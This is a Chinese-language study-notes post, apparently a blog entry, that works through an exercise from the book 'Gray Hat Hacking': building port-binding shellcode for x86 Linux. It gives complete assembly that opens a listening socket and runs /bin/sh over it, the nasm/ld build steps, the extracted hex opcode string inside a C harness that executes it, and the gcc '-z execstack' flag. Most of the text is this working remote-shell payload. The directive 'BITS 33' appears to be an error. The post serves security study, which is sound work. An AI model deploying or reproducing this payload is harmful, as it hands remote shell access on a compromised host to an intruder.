本次實驗都是基於《灰帽黑客:正義黑客的道德規范、滲透測試、攻擊方法和漏洞分析技術》
實現端口綁定shellcode有下面幾個步驟:
(1) 創建一個TCP套接字;
(2) 將該套接字綁定到攻擊者指定的端口,這個端口通常會被硬編碼到shellcode中;
(3) 讓該套接字成為偵聽套接字;
(4) 接受新連接;
(5) 將新接受的套接字復制到stdin、stdout和stderr上;
(6) 創一個新的命令shell進程(它將通過這個新套接字接受輸入數據並發送輸出結果);
port_bind_asm.asm
BITS 33 section .text global _start _start: xor eax,eax xor ebx,ebx xor ecx,ecx xor edx,edx ;server=socket(2,1,0) push eax push byte 0x1 push byte 0x2 mov ecx,esp inc bl mov al,102 int 0x80 mov esi,eax ;bind(server,(struct sockaddr *)&serv_addr,0x10) push edx push word 0xBBBB push word 0x02BB mov ecx,esp push byte 0x10 push ecx push esi mov ecx,esp mov al,102 inc bl int 0x80 ;listen(server,0) xor edx,edx push edx push esi mov ecx,esp mov bl,0x4 mov al,102 int 0x80 ;client=accept(server,0,0) xor eax,eax push eax push eax push esi mov ecx,esp inc bl mov al,102 int 0x80 mov ebx,eax ;copied returned file descriptor of client to ebx ;dup2(client,0) xor ecx,ecx mov al,63 int 0x80 ;dup2(client,1) inc ecx mov al,63 int 0x80 ;dup2(client,2) inc ecx mov al,63 int 0x80 ;standard execve("/bin/sh"...) xor edx,edx push edx push long 0x68732f2f push long 0x6e69622f mov ebx,esp push edx push ebx mov ecx,esp mov al,0x0b int 0x80 _end: nop
匯編這個源代碼文件,鏈接該程序,然后就可以執行:
nasm -f elf port_bind_asm.asm
ld -o port_bind_asm port_bind_asm.o
這步成功后,接下來就是提取十六進制操作碼。我用自己編的一個自動提取shellcode的opcode腳本把它提取出來,生成一個abc.c文件。
abc.c
unsigned char shellcode[] ="\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x50\x6a\x01\x6a\x02\x89\xe1\xfe" "\xc3\xb0\x66\xcd\x80\x89\xc6\x52\x66\x68\xbb\xbb\x66\x68\xbb\x02" "\x89\xe1\x6a\x10\x51\x56\x89\xe1\xb0\x66\xfe\xc3\xcd\x80\x31\xd2" "\x52\x56\x89\xe1\xb3\x04\xb0\x66\xcd\x80\x31\xc0\x50\x50\x56\x89" "\xe1\xfe\xc3\xb0\x66\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41" "\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x31\xd2\x52\x68\x2f\x2f\x73" "\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"; main() { void (*fp)(void); fp = (void *)shellcode; fp(); }
然后編譯:gcc -z execstack -o port_bind_sc abc.c
最后執行,也是成功。在ubuntu下編譯時必須加-z execstack,使堆棧可執行。在rhel下,似乎不必。反正讀測試成功了。並且能用另一台機器訪問。